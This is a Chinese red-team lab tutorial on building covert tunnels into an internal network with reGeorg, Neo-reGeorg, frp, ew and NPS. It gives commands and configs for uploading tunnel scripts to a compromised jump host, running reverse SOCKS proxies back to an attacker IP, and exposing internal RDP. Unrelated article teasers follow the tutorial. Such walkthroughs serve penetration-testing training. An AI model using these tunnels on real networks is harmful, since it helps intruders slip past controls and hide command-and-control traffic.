紅隊攻防實戰之內網穿透隱秘隧道搭建

別低頭,皇冠會掉;別流淚,賤人會笑。

本文首發于先知社區,原創作者即是本人

0x00 前言

構建內網隱蔽通道,從而突破各種安全策略限制,實現對目標服務器的完美控制。
當我們從外網成功獲得攻擊點的時候,通過反彈shell、端口轉發、內網穿透等技巧,來進一步入侵內網服務器。當我們取得內網目標服務器的控制權限,通過隧道技術繞過網絡限制,實現隱蔽C2服務器的通信。

網絡拓撲:

在這里插入圖片描述

網絡配置IP如下:

攻擊機:
win10:192.168.1.6
kali:192.168.1.7靶場:
VM1:對外邊界服務器,win7
192.168.52.143
192.168.1.5VM2:域成員,2003
192.168.52.141VM3:域控,2008
192.168.52.138

0x01 reGeorge

1.1 環境

攻擊機kali
reGeorge軟件,下載:https://github.com/sensepost/reGeorg
運行程序需要的環境:
Python、pip、urllib3;

1.2 部署配置

上傳tunnel.nosocket.php
前提條件,已獲得跳板機的權限(都打到內網了,跳板機的權限肯定獲得了),server-bt系統的跳板機是php環境,將reGeorge中的tunnel.nosocket.php上傳至網站

在這里插入圖片描述

并訪問http://192.168.1.5/tunnel.nosocket.php
訪問成功

在這里插入圖片描述

啟動reGeorg
python reGeorgSocksProxy.py -p 1090 -u http://192.168.1.5/tunnel.nosocket.php
表示本地1090端口的流量都轉發給指定的那個url,1090是指定的監聽端口;

在這里插入圖片描述

配置代理
然后配置proxychains代理鏈的配置文件vim /etc/proxychains.conf,將代理設置成本機的1090端口:socks5 127.0.0.1 1090

在這里插入圖片描述

1.3 測試

命令前面加上proxychains 運行命令,(跳板機php環境已啟動,存在主頁index.php)
proxychains curl http://192.168.52.143

在這里插入圖片描述

reGeorg控制端

在這里插入圖片描述

0x02 Neo-reGeorg

1.1 使用

設置密碼并生成隧道文件,運行后會生成一個neoreg_server目錄,里面包含了各種語言類型的隧道文件

$ python3 neoreg.py generate -k <password>
[+] Create neoreg server files:=> neoreg_server/key.txt.   # 密碼=> neoreg_server/tunnel.nosocket.php=> neoreg_server/tunnel.js=> neoreg_server/tunnel.php=> neoreg_server/tunnel.ashx=> neoreg_server/tunnel.aspx=> neoreg_server/tunnel.tomcat.5.jsp=> neoreg_server/tunnel.tomcat.5.jspx=> neoreg_server/tunnel.jsp=> neoreg_server/tunnel.jspx

python3 neoreg.py generate -k jdxyxd

在這里插入圖片描述

1.2 部署配置

上傳tunnel.php
前提條件,已獲得跳板機的權限(都打到內網了,跳板機的權限肯定獲得了),server-bt系統的跳板機是php環境,將reGeorge中的tunnel.php上傳至網站

在這里插入圖片描述

并訪問http://192.168.1.5/tunnel.php
訪問成功

在這里插入圖片描述

啟動Neo-reGeorg
python3 neoreg.py -k jdxyxd -u http://192.168.1.5/tunnel.php #表示本地1080端口的流量都轉發給指定的那個url,1080是指定的監聽端口;

在這里插入圖片描述

配置代理
然后配置proxychains代理鏈的配置文件vim /etc/proxychains.conf,將代理設置成本機的1080端口:socks5 127.0.0.1 1080

在這里插入圖片描述

1.3 測試

命令前面加上proxychains 運行命令,(跳板機php環境已啟動,存在主頁index.php)
proxychains curl http://192.168.52.143

在這里插入圖片描述

0x03 frp

軟件:frp_0.33.0_windows_amd64 ,frp_0.34.1_linux_amd64
代理工具Proxifier(windows下通常用可視化的proxifier、SocksCap64,Linux在proxychains設置)

1.1 攻擊機為windows環境

frp的Socks5反向代理:
(HTTP反向代理修改plugin模塊和proxifier代理類型即可)
攻擊機-服務端:
設置frps.ini

[common] 
bind_port = 7000

在這里插入圖片描述

然后運行
frps.exe -c frps.ini

在這里插入圖片描述

跳板機-客戶端:server_addr為攻擊機IP
設置frpc.ini

[common] 
server_addr = 192.168.1.6
server_port = 7000 [socks5] 
type = tcp 
remote_port = 8010 
plugin = socks5

在這里插入圖片描述

然后運行
frpc.exe -c frpc.ini

在這里插入圖片描述

SwitchyOmega配置

在這里插入圖片描述

瀏覽器訪問192.168.52.143 訪問成功

在這里插入圖片描述

proxifier配置

在這里插入圖片描述

瀏覽器訪問192.168.52.143 訪問成功

在這里插入圖片描述

0x04 ew

1.1 攻擊機為kali環境

ew正向代理

1.正向連接跳板機在win7機器上執行(ew_for_windows上傳到跳板機)
ew_for_win_32.exe -s ssocksd -l 1090

在這里插入圖片描述

這里還需要修改proxychains.conf配置文件
$ vim /etc/proxychains.conf socks5 192.168.1.5 1090

在這里插入圖片描述

測試執行:
proxychains curl http://192.168.52.143/

在這里插入圖片描述

ew反向代理

服務端-攻擊機kali
執行:
./ew_for_linux -s rcsocks -l 1080 -e 1024

在這里插入圖片描述

客戶端-跳板機
執行
ew.exe -s rssocks -d 192.168.1.7 -e 1024

在這里插入圖片描述

配置proxychains代理鏈
在配置文件/etc/proxychains.conf,
將代理設置成本機的1080端口(root用戶修改):

在這里插入圖片描述

測試執行:
proxychains curl http://192.168.52.143/

在這里插入圖片描述

0x05 NPS隱秘隧道搭建

1)建立連接

此場景攻擊機使用Kali,在攻擊機運行命令“./nps install”安裝服務端,如圖所示。

在這里插入圖片描述

運行命令“nps start”啟動服務端,如圖所示。

在這里插入圖片描述

通過8080端口訪問服務端的Web界面,如圖所示。

http://192.168.1.7:8080

在這里插入圖片描述

輸入默認用戶名、密碼admin、123登錄,登錄后可以看到默認客戶端連接端口為8024,登錄后的Web界面如圖所示。

在這里插入圖片描述

添加客戶端,如圖所示,配置唯一驗證密鑰,驗證密鑰在從客戶端連接到服務端時使用,此處配置為“any”,然后開啟壓縮和加密傳輸。

在這里插入圖片描述

最后在邊界主機運行命令“npc.exe -server=192.168.1.7:8024 -vkey=any”來連接服務端,建立連接如圖所示。

在這里插入圖片描述

連接成功后在攻擊機的Web界面可看到客戶端上線,如圖所示。

在這里插入圖片描述

2)TCP隧道

客戶端上線后便可以通過Web界面單擊上線的客戶端、查看選項、配置隧道,例如,若想訪問內網主機的3389端口,則可通過TCP隧道將內網主機的3389端口映射到攻擊機的1111端口,單擊“新增”,配置目標“192.168.52.143:3389”,配置服務端口為“1111”,TCP隧道如圖所示。

在這里插入圖片描述

TCP隧道建立成功后,即可通過連接攻擊機的1111端口來連接內網主機的遠程桌面,在攻擊機運行命令“rdesktop 192.168.1.7:1111”連接本地的1111端口,隧道的使用如圖所示。

在這里插入圖片描述

3)SOCKS5代理

若想搭建HTTP代理或SOCKS代理,只需選擇對應模式,填寫服務端端口即可,以SOCKS為例,選擇模式為“SOCKS代理”,如圖所示,服務端端口為“1234”。

在這里插入圖片描述

配置好SOCKS代理后,便可使用攻擊機192.168.1.7的1234端口訪問內網,配置代理服務器

在這里插入圖片描述

訪問內網主機站點http://192.168.52.143/
使用代理如圖所示。

在這里插入圖片描述

或者配置proxifier

在這里插入圖片描述

訪問內網主機站點http://192.168.52.143/

在這里插入圖片描述

文筆生疏,措辭淺薄,望各位大佬不吝賜教,萬分感謝。

免責聲明:由于傳播或利用此文所提供的信息、技術或方法而造成的任何直接或間接的后果及損失,均由使用者本人負責, 文章作者不為此承擔任何責任。

轉載聲明:各家興 擁有對此文章的修改和解釋權,如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經作者允許,不得任意修改或者增減此文章的內容,不得以任何方式將其用于商業目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公眾號:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社區:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/163998.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/163998.shtml
英文地址,請注明出處:http://en.pswp.cn/news/163998.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

SAP BAPI For LU01/LU04 記賬更改

場景&#xff1a;采購收貨質檢放行的時候&#xff0c;發現存在有些做QA11的時候&#xff0c;進入到TR-ZONE中&#xff0c;沒有進入到指定的倉位 解決方案&#xff1a;前端通過LU04進入&#xff0c;可以查看到一些未清的記賬更改通知單&#xff0c;點擊工具欄上的創建轉儲單&am…

Docker Swarm總結+service創建和部署、overlay網絡以及Raft算法(2/3)

博主介紹&#xff1a;Java領域優質創作者,博客之星城市賽道TOP20、專注于前端流行技術框架、Java后端技術領域、項目實戰運維以及GIS地理信息領域。 &#x1f345;文末獲取源碼下載地址&#x1f345; &#x1f447;&#x1f3fb; 精彩專欄推薦訂閱&#x1f447;&#x1f3fb;…

新的預測模型的局部評價指標-pAUROCc

新的預測模型的局部評價指標-pAUROCc Background 局部評價主要是用在不平衡數據上&#xff0c;其合理性&#xff1a;1.局部評價比全局評價敏感&#xff0c;更容易區分模型的優劣&#xff1b;2.臨床決策曲線&#xff08;DCA&#xff09;可知&#xff0c;模型使用過程中&#x…

什么是JSX

在React組件中&#xff0c;JSX&#xff08;JavaScript XML&#xff09;是一種語法擴展&#xff0c;用于描述組件的結構和外觀。JSX允許我們在JavaScript中編寫類似HTML的標記語言&#xff0c;以創建React元素。 在React組件中&#xff0c;render方法是用于定義并返回組件的結構…

HarmonyOS開發(六):構建簡單頁面

1、Column&Row組件 1.1、概述 一個頁面由很多組件組成&#xff0c;如果需要把這些組件組織起來布局好&#xff0c;需要借助容器組件來實現。 容器組件是一種特殊的組件&#xff0c;它可以包含其他組件&#xff0c;而且按照一定的規律布局&#xff0c;一個容器組件中可以…

Linux--初識和基本的指令(2)

目錄 前言 1. 指令 1.1 cd其它攜帶指令 1.2 ls其它攜帶指令 1.3 which指令 1.4 alias指令 1.5 mkdir其他攜帶指令 1.7 yum -y install 安裝指令 1.8 stat指令 1.9解決指令失控狀態 1.10 rmdir&&rm指令 1.11 man指令 1.12 cp指令 1.13 mv指令 1.14 nano…

vue項目引入中國地圖

先安裝有china.js的版本 npm install echarts4.8 --save //以前的版本有china.js <template><div class"mapMain"><div id"map" style"width: 30vw; height: 30vw;" /></div> </template><script>//引入文…

提高蘋果企業簽名穩定性的關鍵方法包括幾點

提高蘋果企業簽名穩定性的關鍵方法包括以下幾點&#xff1a; 控制簽名量&#xff1a;蘋果企業簽名的穩定性與每本書的簽發量有很大的關系。一般來說&#xff0c;每本書上簽10個APP和每本書上簽100個APP是兩種不同的概念。為了提高穩定性&#xff0c;正規的簽名平臺會嚴格控制每…

「純電」廝殺,廣州車展的年末大戲

作者 |張祥威 編輯 |德新 年末的廣州車展&#xff0c;揭開純電動車激烈廝殺的一角。 1100多款車型亮相在這屆車展&#xff0c;其中新能源車有460多輛&#xff0c;占接近一半比例。這其中&#xff0c;人們的焦點又放在十多款純電車型上。 造車新勢力中&#xff0c;理想的首款…

什么是數據確權?

在數字化時代&#xff0c;數據已經成為一種新型資產&#xff0c;”新的石油“&#xff0c;具有巨大的價值&#xff0c;未來世界經濟競爭一定程度上是數字經濟的競爭&#xff0c;而非工業的競爭。數據相關法律制度&#xff0c;尚且還不完整&#xff0c;推動數字經濟的發展&#…

工作流引擎的主要表結構

工作流引擎的主要表結構及其作用如下&#xff0c;我們從開源的馳騁工作流為例來說明。 1. WF_GenerWorkFlow&#xff1a;該表主要用于存儲流程引擎級別的數據, 發起人&#xff0c;發起日期&#xff0c;workid, 流程狀態&#xff0c;流程標題&#xff0c;運行到的節點。 2. WF_…

快速入門go語言學習筆記

文章目錄 1、初識go1.1、go語言1.2 第一個Go程序 2、基礎類型2.1、命名2.2、變量2.2.1 變量聲明2.2.2 變量初始化2.2.3 變量賦值2.2.4 匿名變量 2.3、常量2.3.1 字面常量(常量值)2.3.2 常量定義2.3.3 iota枚舉 2.4、基礎數據類型2.4.1 分類2.4.2 布爾類型2.4.3 整型2.4.4 浮點型…

逆向扒cocosjs安卓包教程-破解加密的js源碼

本文只適用于cocosjs引擎打包的游戲apk,針對此類apk進行源碼級別的逆向破解,可直接逐個破解工程內的源碼部分,讓游戲邏輯大白于你的面前,你可以針對js源碼進行二次開發。按照我的教程破解過程中遇到什么問題,歡迎留言。 準備apk包 準備一個你確定用cocosjs打包好的apk包…

XSLVGL2.0 User Manual 資源管理器(v2.0)

XSLVGL2.0 開發手冊 XSLVGL2.0 User Manual 資源管理器 1、概述2、特性3、APIs3.1、xs_resource_get3.2、xs_resource_get_string3.3、xs_resource_set_search_dir3.4、xs_resource_bind_id3.5、xs_resource_set_lang_desc3.6、xs_resource_update3.7、xs_resource_unbind_id3…

循環小練習

#forfor i in range(1,11):print(f開始循環{i},i)\i1 while i < 11:print(f開始循環{i},i)i1list1[1,2,3,4,5] SUMsum(list1) print(SUM)#求和 n int(input("請輸入一個數n:")) sum10 i1 while i < n1:#print(f開始循環{i},i)#sum1 sum1isum1ii1 print(sum1…

ubuntu安裝cuda驅動報錯及解決,屢試不爽

機器重啟輸入nvidia-smi提示如下錯誤,字面意思就是驅動和庫不匹配 Failed to initialize NVML: Driver/library version mismatch 查看一下nvidia相關庫 sudo dpkg --list | grep nvidia-* 將所有已安裝庫卸載 sudo apt purge nvidia-* 重新安裝驅動 sudo ./NVIDIA-Linux-…

SQL Server對象類型(6)——4.6.存儲過程和函數(Procedure和Function)

4.6. 存儲過程和函數(Procedure和Function) 4.6.1. 過程和函數概念 與Oracle中類似,SQL Server中,存儲過程和函數都是虛的、被定義的代碼對象,它們都是由一組T-SQL或公共語言運行庫(CLR)代碼構成的程序,其本身并不存儲數據,通過數據庫或應用端調用等方式來運行,以滿…

Nginx反向代理實現負載均衡+Keepalive實現高可用

目錄 實現負載均衡 實現高可用 實現負載均衡 Nginx的幾種負載均衡算法&#xff1a; 1.輪詢&#xff08;默認&#xff09; 每個請求按照時間順序逐一分配到下游的服務節點&#xff0c;如果其中某一節點故障&#xff0c;nginx 會自動剔除故障系統使用戶使用不受影響。 2.權重…

主播產品塑造話術

產品賣點 一、品質卓越 我們的產品始終堅持高品質的標準&#xff0c;從原材料的選擇到生產工藝的把控&#xff0c;每一個環節都經過嚴格的品質檢測。我們注重產品的耐用性和穩定性&#xff0c;確保您在使用過程中無需擔心質量問題。 二、功能強大 我們的產品不僅具備基本的…